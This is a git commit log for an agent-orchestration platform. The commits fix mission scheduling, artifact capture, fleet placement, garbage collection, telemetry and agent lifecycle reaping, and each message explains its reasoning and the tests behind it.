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Omar SobhandClaude Opus 5 e20b321055 feat(missions): Continuous Research is a mission type, not just a team checkbox
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`templates/teams/continuous_research.toml` has existed with three well-written
roles since it was authored, but no workflow recipe pointed at it — every
recipe in templates/workflows/ defaults `default_team_template = "rust_sdlc"`.
So the only way to reach it was as a checkbox under Advanced. It is now a
Step-1 card: the registry loads it at boot and `GET /api/workflows` serves it,
with no frontend change (MissionWizard renders whatever the endpoint returns).

Both phases are kind `research`, deliberately, rather than new `read`/`script`
kinds. An unrecognised kind falls through `purposes_for`'s `_ => ["mission"]`
and is absent from `PRODUCING_KINDS`, so it would get the generic directive AND
be exempt from the empty-delivery rule — a phase that produces nothing and
still passes. That is the shape this codebase keeps paying for; two `research`
phases differentiated by `task` keep both guards.

`commit_policy = "always"`, not `on_green_tests`: the vault is prose with no
suite, so a test gate would find nothing to run and land every branch `-wip`.

The harvest is NOT an agent phase. `continuous_research.rs` calls the existing
`library::run_to_vault` — arXiv search, seen-set check, PDF shelf, vault note,
attributed by `mission_id` — because that path is deterministic, takes seconds,
and owns the `corpus_items` seen-set that is the whole reason a recurring
mission knows what it already covered. An agent redoing it would be slower and
would lose that.

The manifest path is not invented either: the team template has told
`signal_harvester` to write `ContinuousResearch/<date>/harvest.jsonl` all along.
This makes the code produce what the prompt already promised, and a test pins
the path and every documented key so the two cannot drift into an agent reading
a file nothing writes.

DEFAULT_CORPUS / DEFAULT_VAULT_URL exported rather than duplicated, so the
route and the launch hook cannot disagree about which vault.

344 tests pass.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-17 14:18:35 -07:00
Omar SobhandClaude Opus 5 f87853ecf9 fix(missions): scheduled missions never fired — nothing read missions.schedule
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The wizard has collected a cron since `0047_missions.sql` ("schedule JSONB
carries the trigger config (cron | one_shot | on_event)"), the frontend posts
`{kind:"cron", cron}`, and the API persists it faithfully. Nothing has ever read
it back: the only due-work enumerator in the codebase was `routines::claim_due`.
So every scheduled mission ever created sat in `draft` forever while the UI
reported it was on a schedule.

Proven before fixing, on the shipped build: a mission with `* * * * *` sat in
`draft` for 4m34s and started ZERO topology runs. After this change the same
mission launched on its next occurrence and recorded one `fired` row.

Two pieces were missing, and they are the two `routines` already had:

  - `missions.next_run_at` — schedule STATE. `schedule` is user intent and stays
    untouched; without somewhere to record which occurrence is owed there is
    nothing to put a `<= now()` predicate on, which is why no enumerator could
    be written against the JSONB alone.
  - `mission_fires` — one row per (mission, occurrence). 0063_routine_fires.sql
    called this exact case: "For a scheduled *mission* it costs a container, a
    repo checkout, and real money — which is why this lands before mission
    scheduling does."

`mission_schedule.rs` deliberately mirrors `cm-scheduler`'s shape rather than
inventing a second one: atomic `FOR UPDATE SKIP LOCKED` claim, reschedule
BEFORE dispatch so a failing launch cannot stall the clock, claim the slot
before launching so a crash mid-launch is retried rather than dropped, and a
fan-out cap. The cap is 5, not the scheduler's 25, because a mission firing is
a container and a checkout where a routine firing may be one turn.

The claim skips `status = 'running'`: a daily cron on a mission that takes
longer than a day must skip the occurrence, not stack a second crew on the same
workspace. Launch goes through `mission_orchestrator::on_launch` +
`missions::set_status`, the same path as the draft→running transition, so one
code path mints a crew. An unattended launch acts as the workspace owner
(`users::owner_of_workspace`) since missions carry no creator column; a
workspace without one settles the occurrence `failed` with the reason rather
than dropping it silently.

Backfill blast radius was MEASURED, not assumed: prod has zero missions with a
cron, this workstation had exactly one — the control created to prove the bug.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-17 14:10:39 -07:00
Omar SobhandClaude Opus 5 43436d7181 feat(telemetry): push bus for live agent frames
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/api/world/live is a 2s database poll, which is right for queryable state and
wrong for a token stream: reasoning only became visible after a step finished
and its row was written. This adds a process-wide broadcast bus that
topology_exec publishes to as the runtime's WebSocket delivers frames, and the
SSE handler forwards without waiting for the next tick.

Measured: the pushed frame arrived ~2.2s before the polled copy of the same
text.

Design notes worth keeping:
- A global (OnceLock), not an AppState field. The publisher is reached through
  phase_runner -> topology_worker -> MissionTap, none of which hold AppState;
  threading a handle through all of them would put a UI concern into four
  layers that have no other reason to know about one.
- Lossy by design. A slow subscriber lags and skips rather than applying
  backpressure to the agent producing. mission_events remains the durable
  record; this bus is the fast path, never the source of truth.
- Only `claw_<uuid>` aliases are attributed. The governor, door and evaluator
  drive real turns under other names, and attributing their output to an agent
  would put words in someone's mouth. Asserted in a test.
- The poll no longer emits `reasoning`: with both paths live, every turn
  arrived TWICE — once pushed, once polled ~2s later. The row is still written;
  this feed just is not its second mouth.

CEILING, measured rather than assumed: turns are not token-level because the
runtime is not streaming. zeroclaw's claude_cli provider runs
`claude -p --output-format json`, which returns ONE result object when the turn
completes — there are no incremental tokens to forward. Making this genuinely
token-by-token needs `--output-format stream-json` and incremental parsing in
the zeroclaw fork, not here. The bus is in place and will carry them the day it
does.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-15 16:29:12 -07:00
Omar SobhandClaude Opus 5 b290025fc4 feat(agents): make delete permanent, and expose the census
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A soft delete marked the row and left it. The agent stayed in the table forever,
kept appearing on any surface that forgot `deleted_at IS NULL`, and deleting it
again did nothing — the decision was recorded and never honoured. Two agents on
this deployment had been in that state since June.

`deleted` is now a fifth lifecycle state, collected with NO grace window: a
human already decided, months ago. It takes usage_events with it, which is the
explicit trade — the alternative is rows that outlive the decision to delete
them.

Two endpoints, because this was previously only answerable by reading the
database by hand:

  GET  /api/claws/lifecycle        the census: who is active, completed,
                                   orphaned, deleted — and what is reapable
  POST /api/claws/lifecycle/sweep  run the reap now, rather than waiting out
                                   the hourly timer for a decision already made

Verified end to end: census reported both as `deleted`/`reapable`, the sweep
returned {"reaped":2,"failed":0}, and agents and usage_events both went to 0.

The safety property is unchanged and re-asserted by a new test: adding `deleted`
did not make `owned` or `active` reapable.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-14 18:04:43 -07:00
Omar SobhandClaude Opus 5 a494634f81 feat(agents): classify agents by lifecycle and reap the finished and orphaned
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A mission mints a crew, and the only thing that reaped one was DELETING the
mission. A mission that merely completed left its agents in the roster forever,
and a crew whose reap was skipped or failed left agents bound to nothing —
indistinguishable in the UI from the operator's own staff.

Four states, from one query:

  owned      no agent_template_link row   → hand-created. NEVER reaped.
  active     on a running/draft mission   → working right now. Kept.
  completed  every mission terminal       → reaped after a 24h grace.
  orphaned   minted, bound to nothing     → reaped.

The discriminator is `agent_template_link`, which mission_orchestrator writes
per minted claw. This matters more than it looks: verified on live data, a
hand-created agent and an orphaned crew member both have ZERO team links and are
structurally identical by binding alone. Judging orphanhood by "no team" would
delete the user's workforce. Provenance is the only honest signal.

The grace window exists because the results view, the World's 24h replay and
"who did this work?" all read the crew AFTER the run ends; reaping on the
terminal transition deletes the answer exactly when the question gets asked. A
completed crew with no usable timestamp is KEPT — a missing date must never read
as "old enough to delete".

Also fixes the delete summary, which reported how many claws were FOUND rather
than purged: "reaped 4 claw(s)" was printed by a delete that purged none, which
is precisely the log you would read while wondering why the agents are still
there. It now reports purged / kept / FAILED, and failed > 0 is the orphan case.

Verified against live data — all four states observed, including the two that
look alike.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-14 10:55:56 -07:00
Omar SobhandClaude Opus 5 9e61e3ba35 feat(viz): what the agents actually did, as structured events
The World could draw a mission's shape but nothing about the work. The
detail existed only as prose in checkpoint.log and model output, where a
tool name is indistinguishable from an agent *talking about* a tool — so
it was never parsed, deliberately. `mission_events` is the structured
channel that replaces it.

Three taps, one table:

- Container tier: the `_ => {}` at the end of topology_exec's typed frame
  stream now matches `tool_call` and reads the tool's JSON ARGUMENTS for a
  path. Never the prose summary — a path scraped from a sentence would put
  files on the map that no agent opened, and the test proves a Grep whose
  summary says "src/main.rs" produces no file touch. The frame name itself
  is unverified, so the same commit ships an unmatched-frame-type
  histogram: a tap that matches nothing looks exactly like a mission that
  used no tools, and this is how one gw-04 run names the real frame.

- microVM tier: a `PostToolUse` hook, the seam vm_stop_gate already proved
  fires under `claude -p`. It copies stdin to /root/tap and exits 0
  unconditionally — a non-zero PostToolUse hook talks back to the model,
  which would turn the observer into a participant. Drained before collect,
  since the VM is destroyed moments later.

- Phase transitions: five identical copies of the pending→running UPDATE
  became one `mark_phase_running`, and `close_finished_phases` grew
  RETURNING. Its CASE decides each phase's status inside SQL from rows the
  statement does not change, so it cannot be re-derived afterwards without
  writing that CASE twice — without RETURNING it emits zero phase.completed
  and reports success.

The settings.json hazard the plan called out: the stop gate wrote the
WHOLE document, so a second hook writer would have silently erased it and
a coding phase would then complete having written nothing — the exact
failure the gate exists to catch. There is now one composer,
`vm_tool_tap::guest_settings`, one writer, and a source-walk test that
fails if anything else writes a settings document.

`mission_events.run_id` carries no FK on purpose: phase_runner DELETEs
topology_runs on retry, and a cascade would erase a phase's whole history
the moment it retried — silently, since a cascade is not an error.

world.rs streams it with a cursor that separates backfill from motion.
Everything already in the table when a subscriber arrives is drawn as
settled history; only what lands afterwards animates. Otherwise opening a
finished mission replays an hour of tool calls as a burst storm.

Bounded twice: 400 events per phase (enforced inside the INSERT, since
two concurrent taps would each read a count below the cap) and a 7-day
retention sweep in mission_gc.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-11 09:16:50 -07:00
Omar SobhandClaude Opus 5 0ad53da49c feat(workforce): missions group the roster, and agents get human names
Three things, all visible on the agents page.

**The roster looked like it was multiplying.** The sidebar flattened
orgs → companies → teams → agents, which renders a claw once per TEAM it
belongs to. Claws are reused across missions now, so a crew of five that had
run five missions appeared as twenty-five rows of the same five people. The
data was right and the view was lying. `GET /api/workforce` returns the roster
grouped by mission, and the tree renders each mission as a collapsible group,
so the repetition means something: the same colleague under each mission they
staffed. Claws on no mission come back under "Not on a mission" rather than
vanishing. The root now counts DISTINCT people, not rows.

**Agents were named after their jobs.** A team came back as planner, coder,
tester, reviewer, committer — the UI showed the same word twice (name on top,
role beneath) and the roster read as a stack of job tickets. New claws get a
given name from a deliberately wide pool (Amara, Vijay, Tomasz, Meredith…),
unique against the workspace roster AND within the team being minted. The role
is untouched in `job_title`, which is what the mission machinery binds on:
team_members.role_slot and the topology node carry the slot, so nothing
downstream keys off the display name. A reused claw keeps the name it had.

**Two latent reap bugs found while investigating a leak that was not one.**
Containers of completed missions are removed by `spawn_sweeper` after a
30-minute grace, and it works — an earlier report of leaking containers was me
reading that deliberate grace as a bug. But:

  - the sweeper cleared the runtime binding even when teardown FAILED, and it
    selects on `runtime_endpoint IS NOT NULL`. One transient docker error would
    therefore hide a surviving container from the only thing that would retry
    it, permanently. It now asks docker whether the container actually
    survived: gone means clear, still there means keep the binding and retry —
    which closes the orphan path without reintroducing the infinite retry the
    original comment was guarding against.
  - `set_runtime_binding` discarded rows_affected, so a mismatched workspace
    updated nothing and returned Ok. The binding is how the sweeper finds a
    container; a silent no-op there leaks one with no record of anything wrong.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-10 14:26:42 -07:00
Omar SobhandClaude Opus 5 25f075a8be feat(api): polish a description before the mission exists, and download an artifact
Two endpoints the wizard redesign needs.

`POST /api/missions/refine-draft` — the polish button fires while the user is
still typing, before anything is created, so it has no id to route on.
`refine` deliberately requires a saved draft because its Accept writes back;
this one has nothing to write back to and returns the text. Same system prompt,
same model chain. The phase list comes from the workflow recipe rather than the
caller, for the same reason `phases_for_create` prefers it: a client that
guessed would have the model write acceptance criteria for phases the mission
will not run.

`GET /api/missions/{id}/artifacts/{artifact_id}/download` — the file itself.
`artifact_content` caps at 2 MiB and reads as UTF-8, so a large or binary
artifact is unreachable by any means today; this streams the bytes with a
filename attached and no ceiling.

Both artifact routes now resolve through ONE containment check. Two copies of
"is this path under _outputs" is two chances for one of them to be the lenient
one, and the lenient one is an arbitrary read of the gateway's filesystem — so a
test asserts there is a single resolver and that both routes call it.

The download filename was chosen by an AGENT and lands in a header every browser
parses, so quotes, backslashes and control characters are stripped rather than
escaped; the test covers a header-injection attempt.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-09 18:45:46 -07:00
Omar SobhandClaude Opus 5 c66c3c6377 feat(ui): the microVM path is reachable from the mission wizard
Everything built today — Firecracker missions, the four backends, the local GPU
one — was unreachable from the dashboard. The wizard offered `zeroclaw` and
`local_herdr` and nothing else, so a mission created in the UI could not be a
microVM mission at all, and `local-ornith`/`glm`/`kimi` were API-only. Testing
"our workflows in the UI" would have exercised none of it.

Adds the runtime option and a backend picker, fed by a new
`GET /api/fleet/backends` that returns `mission_roster::available_backends`
verbatim — the SAME list the roster planner is handed, not a second one. Its two
rules are both load-bearing and neither is visible from a node's capabilities
alone: the image must be built on an online node, and the backend must have a
credential contract. `agent-terminal` passes the first and fails the second —
bootable, with nothing for the agent inside to authenticate with — so offering
it would produce a mission that validates, launches, and dies at the agent turn.

Ids are deployment vocabulary, so the picker labels them: a user choosing
between `local-ornith` and `canary-claude` should not have to know which company
each one bills. An empty list says why (no rootfs built) instead of showing an
empty dropdown, and no node is chosen for a microVM mission because
`vm_placement` picks it per phase.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-09 15:09:07 -07:00
Omar SobhandClaude Opus 5 1f6108f769 feat(gc): reclaim the mission tree on the gateway
`cleanup_sweeper` prunes ROWS. Deleting a row has never deleted a directory,
and `teardown_container` only runs while a mission still exists to tear down —
so a mission removed by any path that skipped teardown left its tree behind
permanently, on the smallest disk in the fleet (150 GB, shared with postgres and
every checkout). 106 mission directories are sitting there now.

Filesystem-first, deliberately: the DB is the PREDICATE, never the enumerator.
Enumerating from the database is exactly how these became invisible — a
directory whose row is gone is the one a row-driven sweep cannot see.

Three reapers, one deletion path. Orphan mission dirs (no row, past a 2h grace),
scratch trees (_bench/_gate/_verify/_merge past 6h — all four have leaked
before), and _outputs past 90d, whose artifact rows are marked only AFTER the
files are gone, because the other order claims artifacts are reaped while they
are still on disk.

The single removal path escalates: the server is uid 65532 and cannot delete
what the per-mission daemon leaves as root, so PermissionDenied falls back to
`root_copy::purge` and shouts if the tree survives even that. A GC that cannot
collect is the thing being fixed, so failures are counted and reported, never
swallowed.

Guards worth naming: `_cargo` is a SHARED cache every mission writes to and
lives under the same root, so an underscore-prefixed sibling treated as an
orphan mission would delete it out from under running work and look like a slow
cargo build. Only a well-formed mission id is ever a candidate — a directory
whose name is not an id can have no row by construction, so without that gate
every unrecognised directory looks orphaned.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-09 15:02:25 -07:00
Omar SobhandClaude Opus 5 dc0443de34 feat(fleet): GET /api/fleet/capacity returns the scheduler's own survey
Pulled forward from the observability phase because the capacity harness
scenario needs it. A test that recomputed the slot arithmetic in bash would
drift from `vm_placement` and then agree with itself while the scheduler did
something else — the same shape as every silent-success bug in this codebase.

Returns `survey()` + `rank()` unmodified, and keeps `unfit` as its own list:
"the fleet is full" and "we could not read the fleet" send an operator to
different places, so they must not be summed into one number.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-09 05:11:21 -07:00
Omar Sobh 72046e7985 fix(planner): server-side model calls run on the subscription, not the metered key
The roster planner died with `400 — "Your credit balance is too low to access
the Anthropic API"` while every mission on the same machine kept running. Two
Anthropic credentials reach this server and they bill differently:
`ANTHROPIC_API_KEY` (sk-ant-api, metered, runs out) and the Claude Code
subscription token (sk-ant-oat) that every VM already uses.

`Runtime::complete` with a BARE model name — "claude-opus-4-8" — resolves to the
default provider, which is the metered key. Three server-side callers did that:
the roster planner, the Master Planner, and the claw enhancer. Missions were
never affected because `mission_runtime` deliberately sends only the
subscription token into a guest; the server had no equivalent rule.

`subscription::complete_or` is now that rule, and it is the ONE place a
subscription token becomes a provider — `evaluator::subscription_judge` had its
own copy, and two of them is how one ends up with a prefix check the other
lacks.

The `sk-ant-oat` prefix is checked rather than the variable name trusted: an
API key pasted into the OAuth slot would authenticate, work, and bill the
metered account — the same failure again, discovered weeks later.

`web_search` is carried explicitly rather than defaulted. The Master Planner and
the claw enhancer both pass `true`, and a helper that quietly dropped it would
have taken web search away from two features while every test still passed.

`validator_preflight` deliberately keeps `Runtime::complete`: it probes whatever
validator spec is configured (today `glm:glm-4.7`), and forcing it onto Anthropic
would make it prove the wrong thing. A test pins both halves — no other
server-side caller may regress to the metered key, and preflight must keep
probing the configured spec.

258 lib tests.
2026-08-08 09:34:19 -07:00
Omar Sobh 3a2d76aa43 feat(placement): capacity model for the fleet — observed memory is not capacity
Phase 1a of the fleet-intelligence plan: the arithmetic and the inputs. Nothing
is wired to it yet; the launch path still picks `capable.first()`.

Placement has been `ORDER BY last_seen DESC` + `.first()` — the most recently
heartbeated node. Among healthy nodes all heartbeating every 5s that is
arbitrary, and it consults nothing about load, so two missions launched together
land on the same machine. It did not matter while tank held the only rootfs
image. All three nodes serve `claude` as of today.

THE correctness point, and the reason this is not a sort change: a VM that booted
30 seconds ago holds a fraction of its 8 GiB claim, so `mem_pct` reports a
sold-out node as nearly idle. `capacity_of` takes the WORSE of observed usage and
committed usage. The negative control pins it with the measured case — tank at
60 GiB total / 12 GiB observed / 5 VMs booted: utilisation alone says 5 more fit,
the node has room for 1. Booking those five is a node in swap, which slows every
VM on it together.

Commitments are unioned BY IDENTITY, never added: `vm_list` reports booted VMs,
`nodes::pinned_microvm_phases` reports phases chosen but not yet booted (a
window of seconds in which a real 8 GiB claim exists that no node can report).
The deterministic `vm_id_for` is what lets the same phase be recognised in both —
counting it twice would shrink the fleet by the number of phases starting.

`EvalRow::headroom()` finally gets a caller. It was written with the doc comment
"for placement ranking" and has had zero callers since. It is a TIEBREAK, not a
gate: ranking is slots first (spread, don't stack), then live headroom, then node
id so the same fleet state yields the same answer twice — which `last_seen DESC`
could never promise.

Fail-closed per house convention: draining, stale health (>30s, tuned just above
the 20s offline sweeper), and an unanswerable `vm_list` are all INELIGIBLE rather
than low-scoring. Stale Beszel metrics are the one exception — they demote a node
to zero headroom instead of excluding it, because they only ever break ties.

`FleetAtCapacity` and `FleetUnreadable` are separate variants with a test
asserting the second never says "at capacity": an operator sent hunting a load
problem that is really a dead daemon wastes the outage.

Also names the two nodes that were both called "New node" (tank, morpheus) — a
capacity report naming two machines identically is one nobody can act on.

257 lib tests.
2026-08-08 08:10:03 -07:00
Omar Sobh 3616bc4733 feat(missions): an operator button to merge a mission's branch into main
`MergePolicy::Never` — the default for anything touching code — has always meant
"do not merge on your own", deferring to a human. There was no way for that human
to say yes: `auto_merge` was reachable only from the paper-harvest path, no
workflow template declares `merge_policy`, and every mission ended at a branch.

`POST /api/missions/{id}/merge` is that yes, with a button on the artifacts tab.
The additive-only gate does NOT apply here, deliberately: an operator reading a
code change is exactly the judgement the policy was holding out for.

What is not waived:

  - the branch comes from the artifact delivery RECORDED, not rebuilt from the
    mission id, and must have `pushed: true`. A phase that never pushed shows no
    button instead of one that cannot work.
  - an empty branch is refused. A button reporting success for merging nothing
    is worse than no button.
  - a conflict refuses, aborts, and leaves the repo clean rather than forcing.

It works in a FRESH CLONE under `_merge/<mission>`, never the mission checkout:
that directory is reaped on a timer after a mission ends, so a merge using it
would succeed right after a run and fail inexplicably an hour later. The clone is
made by the server process, so nothing runs as root and ordinary cleanup works —
unlike the copies in `root_copy`.

`merge_and_push` is split out so the operator path and the automatic path run the
SAME git commands; only the gates differ. A test asserts both call it, that the
operator path does not re-apply the additive gate it exists to bypass, and that
it still refuses an empty branch.

Harness 43/43 across all five recipes before this change, with `_gate`, `_bench`
and `_verify` all at zero.

246 lib tests, 20 binaries, 89 frontend tests, clean build.
2026-08-07 18:53:38 -07:00
Omar Sobh a8b8efba6a fix(delivery): the on_green_tests gate ran the suite in the live checkout
Fourth instance of the same defect, and the last of the three commands that run
as root against a mission tree.

`verify_tests` execs the project's test command with `workdir = repo` — the live
checkout — inside a container running as ROOT. `cargo test` writes `target/`, so
the checkout ends up owned by two uids and the next phase's cargo hits
permission-denied. The harness reported `uids=0,65532` the first time this gate
ever ran end to end.

It survived because it had never run. Every one of the ten harness fixtures used
`commit_policy: "always"`; `on_green_tests` and `on_reviewer_approval` were
parsed, implemented, and never exercised — and `Gate`'s own doc already records
that three recipes carried this policy while it "did precisely nothing" for want
of a reader. A policy that is never exercised is indistinguishable from one that
is ignored.

Consolidated rather than fixed a third time. `root_copy` now owns the pattern —
copy through `mission_fs::pack_dir` into a SIBLING of the mission dir, run there,
and purge FROM INSIDE THE CONTAINER, because the copy's `target/` is root-owned
and the server (uid 65532) cannot delete it. `benchmark_runner` moved onto it;
`evaluator_tools::Sandbox` keeps its own copy logic for now (it carries an
allow-list and a judge-facing API, so folding it in is a larger change than this
moment warrants — noted, not done).

The gate fails CLOSED if the copy cannot be made: an unverifiable suite must not
license a push.

Also adds the `refactor` scenario, which is what found this. I had written it off
as "structurally identical to four existing scenarios" — wrong: it is the only
recipe carrying `on_green_tests`, and that made it the only one testing this
code path at all.

245 lib tests, 20 test binaries.
2026-08-07 17:48:29 -07:00
Omar Sobh f6c3ddbf81 refactor: no feature depends on Gemini any more
Depleted Gemini prepayment credits took out PDF rendering. The same key was the
only thing standing between level-up proposals and the same fate, so both are
off it.

- `pdf_renderer` is DELETED, not disabled. Nothing sets `render_pdf: true` since
  markdown became the deliverable (821cbb8), so the worker polled forever for
  rows that can no longer exist. It was also the only caller of the Gemini
  MD->HTML conversion. A worker that cannot do anything is worse than absent: it
  reads as a feature.

- `level_up` now resolves its proposer through the provider REGISTRY
  (`Runtime::resolve_provider`), the same path the evaluator uses, defaulting to
  `glm:glm-4.7` — the validator this project measured and chose in
  scripts/judge-eval.sh. `CLAWMATES_LEVEL_UP_MODEL` takes a registry spec
  (`glm:glm-4.7`, `kimi:k2`, `claude-sonnet-5`), so every provider the platform
  can already reach works and no single vendor's billing can take it down.

The non-obvious part of that swap: Gemini was asked for
`response_mime_type: application/json` and obliged, so the old code parsed the
raw reply. Anthropic-format models are under no such obligation and wrap objects
in prose or a ```json fence. `extract_json_object` brace-counts to the matching
close — string-aware, so a `}` inside a value does not end it, and nested (these
proposals nest by design). Tested against bare, fenced, nested, brace-in-string
and absent. Parsing raw text would have worked in review and failed on the first
real proposal.

What deliberately still MENTIONS Gemini: `mission_runtime` forwards
GEMINI_API_KEY to agent containers alongside GROQ/OPENAI/ZAI/KIMI, and the claw
model selector offers it. Those are user options, not platform requirements —
the ask was to remove the NEED.

Also corrected a comment in mission_delivery that cited `pdf_renderer` as the
authority on artifact path resolution. It never was: it joined the mission id
first and produced a doubled path that never resolved.

238 lib tests, 20 test binaries.
2026-08-07 13:01:57 -07:00
Omar Sobh 821cbb8622 feat(missions): hold every producing phase to delivering, and read markdown instead of PDFs
Two changes the portal review asked for.

1. `benchmark` and `security_hardening` had no delivery guarantee.

`empty_delivery_is_a_failure` tested `kind == "coding"`, on the reasoning that
"research phases legitimately write nothing to the tree" — which the research
directive three modules over contradicts, since it tells the agent to save
findings under /mission/repo/research/. The cost: a `benchmark` mission is ONE
benchmark phase, and with that phase exempt nothing in the platform could fail
it. Same for `security_hardening`, whose first two phases are security_scan and
research.

Now keyed on PRODUCING_KINDS = coding, research, benchmark, security_scan.
`review` stays exempt — a reviewing phase that changes nothing has done its job,
the same distinction `vm_stop_gate::per_node` makes. The test that encoded the
old rule is rewritten rather than deleted, with the reasoning that replaced it.
All 8 harness fixtures are coding phases, so harness behaviour is unchanged.

2. PDFs are dropped; markdown is the deliverable.

Rendering a PDF meant asking an LLM to convert markdown to HTML — a paid API
call per document, on the critical path of "let me read my research", which
failed on depleted Gemini credits and left every artifact unreadable. Styling at
render time is free, offline, instant and cannot 429.

- `mission_outputs` no longer requests a render.
- New `GET /api/missions/{id}/artifacts/{artifact_id}/content`. The frontend had
  no way to READ an artifact at all: it listed paths and offered a PDF preview
  that never rendered (and whose `rendered_pdf_path` had no route serving it).
  Two containment rules, both enforced: the artifact must belong to a mission in
  the caller's workspace, and the CANONICALISED path must stay under `_outputs`
  — canonicalise first, because checking the string before resolving `..` is the
  classic hole.
- `MarkdownBlock` now uses react-markdown + remark-gfm + rehype-slug. It was a
  deliberate zero-dep renderer for "the subset the refiner emits", and that
  subset stopped matching reality: agent briefs are largely GFM pipe tables,
  which it showed as literal pipes. MissionOutputReader and RefineDiffModal use
  the same component and gain tables for free.
- Heading ids come from rehype-slug and `outlineOf` slugs with the same
  GithubSlugger, so the outline rail's anchors still resolve. A test pins that
  invariant, including duplicate headings.

Styles live in globals.css under `.md-view`: the markup is generated so there
are no class hooks, and this project has no styled-jsx registry — the app-router
requirement is documented in next/dist/docs/01-app/02-guides/css-in-js.md, which
frontend/AGENTS.md exists to make me read.

The artifacts tab moved to `MissionArtifacts.tsx`. MissionCanvas was 1341 lines
against a 1250 limit BEFORE this change — already failing lint; it is now 1248.

238 backend lib tests, 20 backend test binaries, 89 frontend tests, clean tsc,
clean eslint on every file touched, production build succeeds.
2026-08-07 12:19:06 -07:00
Omar Sobh ceab28b902 fix(missions): a repo-less mission threw away everything its agents wrote
`capture_finished_coding_phases` selects `AND m.repo_id IS NOT NULL`. Every
`research_only` mission is repo-less by design (`requires_repo = false`), so the
whole capture path — including the `sync_out` that copies the agent's work OUT
of the container — never ran, and the container was reaped unread.

Measured on the real mission `019fdc35` ("ClawHDF5 Research"): four agents, 9.5
minutes, EIGHT research documents — an HDF5 parser design, a Rust ecosystem
survey, a seven-crate dependency map, tracing and fuzzing strategy. Result:
`mission_artifacts` = 0, mission `completed`. Not recoverable: no container, no
volume, nothing under the missions root.

The platform did not merely fail to save the work — it INSTRUCTED it. The task
preamble tells every agent "/mission/repo ... is the mission's git checkout",
whether or not one exists, and the research directive says to save findings
there. One agent recorded the contradiction verbatim: "No git repo — file is
written." It looked, saw no repo, complied anyway.

Three changes, one per link in that chain:

1. `mission_outputs::capture_repo_less_phases` — copies `/mission/repo` out of
   the container and registers each file as an artifact under `_outputs/`,
   which is a SIBLING of the mission dir and survives `teardown_container`.
   This is also the code that finally reads `produces`, until now an inert key:
   `produces = ["md","pdf"]` now drives `render_pdf` into the existing
   pdf_renderer worker.

2. The preamble is conditional. A repo-less mission is told its workspace is
   scratch, that git_operations has nothing to act on, and — the part that
   matters — that files left there ARE collected and published. An agent told
   only "there is no repo" has no reason to write anything to disk.

3. A repo-less phase that produced no files is FAILED, unless it declares
   `allow_empty`. The same rule `empty_delivery_is_a_failure` applies to coding,
   for the only channel these phases have. Note this is NOT that guard widened:
   it keys on `files_changed`, which is meaningless with no checkout, and would
   not have saved the ClawHDF5 documents.

Negative controls, each ablated and confirmed failing: ignore `has_repo` and the
preamble test fails; empty the skip-list and the capture test keeps `.git` and
`node_modules`; write artifacts inside the mission dir and the survives-the-reap
test fails.

236 lib tests pass.
2026-08-07 11:28:10 -07:00
Omar SobhandClaude Opus 5 3300c9d149 feat(missions): say at boot whether the independent judge can be reached
The z.ai credential expired mid-session and the first symptom was a two-phase
mission failing after BOTH its VMs had run — the phase completed, delivered,
pushed, and then one evaluation row said "the independent validator could not be
reached this pass".

`cross_provider_judge` refusing to fall back to the agent's own provider is
correct: a verdict from the same family is not an independent check, and
producing one quietly would claim a property the verdict does not have. The cost
of that refusal is that a dead validator makes EVERY `done_when` phase
unmeetable — and the information needed to know that existed from the moment the
server booted. Nobody was told until it was expensive.

The sibling of `runtime_preflight`, and the same stance: a report, not a gate.
The server must still boot with a broken validator — refusing to start turns a
degraded deployment into a dead one, and a mission that opts out
(`validator_model = ''`) is unaffected.

Two faults, kept distinguishable because they send an operator to different
places: `Unregistered` (no provider by that name — the evaluator will refuse it
rather than judge with the default, so register one) versus `Unreachable` (it
resolved and the call failed — fix the credential). Collapsing them into "the
validator is broken" is the kind of merge that costs an hour.

The probe is a real completion through `Runtime::complete` — the same
resolve-then-stream path the judge itself takes. A models-list or a HEAD would
pass for an expired key, a revoked key, and a key with no quota, which are
exactly the cases worth catching; and a probe that dialled the provider its own
way could pass while the real call fails.

`NotConfigured` is reported too, and not as an error: a deployment may choose the
house model. It is still worth saying out loud that the check running is not an
independent one.

551 tests pass, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-07 05:16:54 -07:00
Omar SobhandClaude Opus 5 08dd227a45 feat(missions): give the planner the repository's contents, not just its names
The root listing was not enough. Given names alone the planner wrote "optimise
the hot path" for a crate whose hot path is `add(a: i64, b: i64) -> i64` — a
mission that was unachievable from the moment it was written, and that nothing
discovered until an agent had built a benchmark harness in a VM to measure an
integer addition, honestly reported no improvement was possible, and the judge
correctly failed the phase.

`repo_digest` fetches the whole tree (so "does this have benches/" is a fact, not
an inference) and then file CONTENTS in priority order: manifests first — they
say what the project is — then the README, then source ascending by size, since
a planner learns more from twenty small files than from one large one. Lockfiles
and build output are dropped: enormous, and they say nothing a manifest does not.

THE RULE THIS ENFORCES, and the reason the rendering is its own tested module: a
digest of any repository worth planning against is partial, and a model shown a
partial view without being told it is partial plans as though it saw everything.
So every omission is stated — how many files exist, how many were shown, what
was cut from each, and "anything not shown you have NOT seen". Same distinction
as `Option<u32>` for the subagent probe: "we did not look" and "there is nothing
there" are different facts.

Failures degrade to a stated absence rather than an empty string, and the three
cases stay distinguishable: no repository, a tree that could not be read, and a
tree read but no contents fetched. An unreadable tree is never rendered as an
empty repository.

Two more things the prompt now says, both learned from that run: plan for the
repository as it IS rather than as the description implies (and if the
description asks for something the code cannot support, say so in the task and
plan the phase that establishes the truth, rather than a phase that must fail);
and a mission agent has NO package-registry access. The agent discovered the
second one mid-run and wrote a dependency-free `std::time::Instant` harness after
Criterion could not be added — good adaptation, but nothing had warned it.

549 tests pass, clippy clean. The budget/priority/truncation logic is pure and
tested; only the fetching touches the network.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-07 05:01:02 -07:00
